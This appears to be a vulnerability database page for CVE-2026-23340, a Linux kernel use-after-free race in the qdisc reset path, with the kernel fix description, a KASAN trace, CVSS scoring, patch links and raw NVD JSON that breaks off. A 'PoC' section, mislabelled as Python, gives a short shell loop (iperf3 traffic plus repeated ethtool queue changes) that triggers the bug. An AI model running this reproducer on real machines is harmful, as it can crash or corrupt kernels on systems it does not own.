CVE-2026-23340

Description

In the Linux kernel, the following vulnerability has been resolved: net: sched: avoid qdisc_reset_all_tx_gt() vs dequeue race for lockless qdiscs When shrinking the number of real tx queues, netif_set_real_num_tx_queues() calls qdisc_reset_all_tx_gt() to flush qdiscs for queues which will no longer be used. qdisc_reset_all_tx_gt() currently serializes qdisc_reset() with qdisc_lock(). However, for lockless qdiscs, the dequeue path is serialized by qdisc_run_begin/end() using qdisc->seqlock instead, so qdisc_reset() can run concurrently with __qdisc_run() and free skbs while they are still being dequeued, leading to UAF. This can easily be reproduced on e.g. virtio-net by imposing heavy traffic while frequently changing the number of queue pairs: iperf3 -ub0 -c $peer -t 0 & while :; do ethtool -L eth0 combined 1 ethtool -L eth0 combined 2 done With KASAN enabled, this leads to reports like: BUG: KASAN: slab-use-after-free in __qdisc_run+0x133f/0x1760 ... Call Trace: <TASK> ... __qdisc_run+0x133f/0x1760 __dev_queue_xmit+0x248f/0x3550 ip_finish_output2+0xa42/0x2110 ip_output+0x1a7/0x410 ip_send_skb+0x2e6/0x480 udp_send_skb+0xb0a/0x1590 udp_sendmsg+0x13c9/0x1fc0 ... </TASK> Allocated by task 1270 on cpu 5 at 44.558414s: ... alloc_skb_with_frags+0x84/0x7c0 sock_alloc_send_pskb+0x69a/0x830 __ip_append_data+0x1b86/0x48c0 ip_make_skb+0x1e8/0x2b0 udp_sendmsg+0x13a6/0x1fc0 ... Freed by task 1306 on cpu 3 at 44.558445s: ... kmem_cache_free+0x117/0x5e0 pfifo_fast_reset+0x14d/0x580 qdisc_reset+0x9e/0x5f0 netif_set_real_num_tx_queues+0x303/0x840 virtnet_set_channels+0x1bf/0x260 [virtio_net] ethnl_set_channels+0x684/0xae0 ethnl_default_set_doit+0x31a/0x890 ... Serialize qdisc_reset_all_tx_gt() against the lockless dequeue path by taking qdisc->seqlock for TCQ_F_NOLOCK qdiscs, matching the serialization model already used by dev_reset_queue(). Additionally clear QDISC_STATE_NON_EMPTY after reset so the qdisc state reflects an empty queue, avoiding needless re-scheduling.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Versions prior to fix in stable branches)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-23340: Trigger UAF in qdisc reset
# Requirement: Root access or CAP_NET_ADMIN to change ethtool settings
# Setup: Replace $PEER with a target IP for iperf3

PEER="192.168.1.100"
INTERFACE="eth0"

# Start generating heavy UDP traffic in background
iperf3 -ub0 -c $PEER -t 0 &

# Continuously change the number of queue pairs to trigger the race
# This forces netif_set_real_num_tx_queues() to call qdisc_reset_all_tx_gt()
while :; do
    ethtool -L $INTERFACE combined 1
    ethtool -L $INTERFACE combined 2
done

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23340
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23340
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23340/
[4] VulDB https://vuldb.com/cve/CVE-2026-23340
[5] https://git.kernel.org/stable/c/5bb27ad54d12de67e457d7d251198e361bef835e
[6] https://git.kernel.org/stable/c/5bc4e69306ed7ae02232eb4c0b23ed621a26d504
[7] https://git.kernel.org/stable/c/7594467c49bfc2f4644dee0415ac2290db11fa0d
[8] https://git.kernel.org/stable/c/7f083faf59d14c04e01ec05a7507f036c965acf8
[9] https://git.kernel.org/stable/c/8314944cc3bdeaa5a73e6f8a8cf0d94822e625cb
[10] https://git.kernel.org/stable/c/c69df4e0524f8de8e176ba389acd83e85f5f49d0
[11] https://git.kernel.org/stable/c/dbd58b0730aa06ab6ad26079cf9a5b6b58e7e750

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23340", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:31.837", "lastModified": "2026-04-23T21:17:07.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: avoid qdisc_reset_all_tx_gt() vs dequeue race for lockless qdiscs\n\nWhen shrinking the number of real tx queues,\nnetif_set_real_num_tx_queues() calls qdisc_reset_all_tx_gt() to flush\nqdiscs for queues which will no longer be used.\n\nqdisc_reset_all_tx_gt() currently serializes qdisc_reset() with\nqdisc_lock(). However, for lockless qdiscs, the dequeue path is\nserialized by qdisc_run_begin/end() using qdisc->seqlock instead, so\nqdisc_reset() can run concurrently with __qdisc_run() and free skbs\nwhile they are still being dequeued, leading to UAF.\n\nThis can easily be reproduced on e.g. virtio-net by imposing heavy\ntraffic while frequently changing the number of queue pairs:\n\n  iperf3 -ub0 -c $peer -t 0 &\n  while :; do\n    ethtool -L eth0 combined 1\n    ethtool -L eth0 combined 2\n  done\n\nWith KASAN enabled, this leads to reports like:\n\n  BUG: KASAN: slab-use-after-free in __qdisc_run+0x133f/0x1760\n  ...\n  Call Trace:\n   <TASK>\n   ...\n   __qdisc_run+0x133f/0x1760\n   __dev_queue_xmit+0x248f/0x3550\n   ip_finish_output2+0xa42/0x2110\n   ip_output+0x1a7/0x410\n   ip_send_skb+0x2e6/0x480\n   udp_send_skb+0xb0a/0x1590\n   udp_sendmsg+0x13c9/0x1fc0\n   ...\n   </TASK>\n\n  Allocated by task 1270 on cpu 5 at 44.558414s:\n   ...\n   alloc_skb_with_frags+0x84/0x7c0\n   sock_alloc_send_pskb+0x69a/0x830\n   __ip_append_data+0x1b86/0x48c0\n   ip_make_skb+0x1e8/0x2b0\n   udp_sendmsg+0x13a6/0x1fc0\n   ...\n\n  Freed by task 1306 on cpu 3 at 44.558445s:\n   ...\n   kmem_cache_free+0x117/0x5e0\n   pfifo_fast_reset+0x14d/0x580\n   qdisc_reset+0x9e/0x5f0\n   netif_set_real_num_tx_queues+0x303/0x840\n   virtnet_set_channels+0x1bf/0x260 [virtio_net]\n   ethnl_set_channels+0x684/0xae0\n   ethnl_default_set_doit+0x31a/0x890\n   ...\n\nSerialize qdisc_reset_all_tx_gt() against the lockless dequeue path by\ntaking qdisc->seqlock for TCQ_F_NOLOCK qdiscs, matching the\nserialization model already used by dev_reset_queue().\n\nAdditionally clear QDISC_STATE_NON_EMPTY after reset so the qdisc state\nreflects an empty queue, avoiding needless re-scheduling."}, {"lang": "es", "value": "En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad:\n\nnet: sched: evitar la condición de carrera entre qdisc_reset_all_tx_gt() y la eliminación de la cola para qdiscs sin bloqueo\n\nAl reducir el número de colas de transmisión (tx) reales, netif_set_real_num_tx_queues() llama a qdisc_reset_all_tx_gt() para vaciar los qdiscs de las colas que ya no se utilizarán.\n\nActualmente, qdisc_reset_all_tx_gt() serializa qdisc_reset() con qdisc_lock(). Sin embargo, para los qdiscs sin bloqueo, la ruta de eliminación de la cola se serializa mediante qdisc_run_begin/end() usando qdisc-&gt;seqlock en su lugar, por lo que qdisc_reset() puede ejecutarse concurrentemente con __qdisc_run() y liberar skbs mientras aún se están eliminando de la cola, lo que lleva a un uso después de liberación.\n\nEsto se puede reproducir fácilmente, por ejemplo, en virtio-net, imponiendo un tráfico intenso mientras se cambia frecuentemente el número de pares de colas:\n\n  iperf3 -ub0 -c $peer -t 0 &amp;\n  while :; do\n    ethtool -L eth0 combined 1\n    ethtool -L eth0 combined 2\n  done\n\nCon KASAN habilitado, esto lleva a informes como:\n\n  BUG: KASAN: uso después de liberación de slab en __qdisc_run+0x133f/0x1760\n  ...\n  Rastro de Llamada:\n   \n   ...\n   __qdisc_run+0x133f/0x1760\n   __dev_queue_xmit+0x248f/0x3550\n   ip_finish_output2+0xa42/0x2110\n   ip_output+0x1a7/0x410\n   ip_send_skb+0x2e6/0x480\n   udp_send_skb+0xb0a/0x1590\n   udp_sendmsg+0x13c9/0x1fc0\n   ...\n   \n\n  Asignado por la tarea 1270 en la cpu 5 a los 44.558414s:\n   ...\n   alloc_skb_with_frags+0x84/0x7c0\n   sock_alloc_send_pskb+0x69a/0x830\n   __ip_append_data+0x1b86/0x48c0\n   ip_make_skb+0x1e8/0x2b0\n   udp_sendmsg+0x13a6/0x1fc0\n   ...\n\n  Liberado por la tarea 1306 en la cpu 3 a los 44.558445s:\n   ...\n   kmem_cache_free+0x117/0x5e0\n   pfifo_fast_reset+0x14d/0x580\n   qdisc_reset+0x9e/0x5f0\n   netif_set_real_num_tx_queues+0x303/0x840\n   virtnet_set_channels+0x1bf/0x260 [virtio_net]\n   ethnl_set_channels+0x684/0xae0\n   ethnl_default_set_doit+0x31a/0x890\n   ...\n\nSerializar qdisc_reset_all_tx_gt() contra la ruta de eliminación de la cola sin bloqueo tomando qdisc-&gt;seqlock para los qdiscs TCQ_F_NOLOCK, coincidiendo con el modelo de serialización ya utilizado por dev_reset_queue().\n\nAdemás, borrar QDISC_STATE_NON_EMPTY después del reinicio para que el estado del qdisc refleje una cola vacía, evitando una reprogramación innecesaria."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "typ

... (truncated)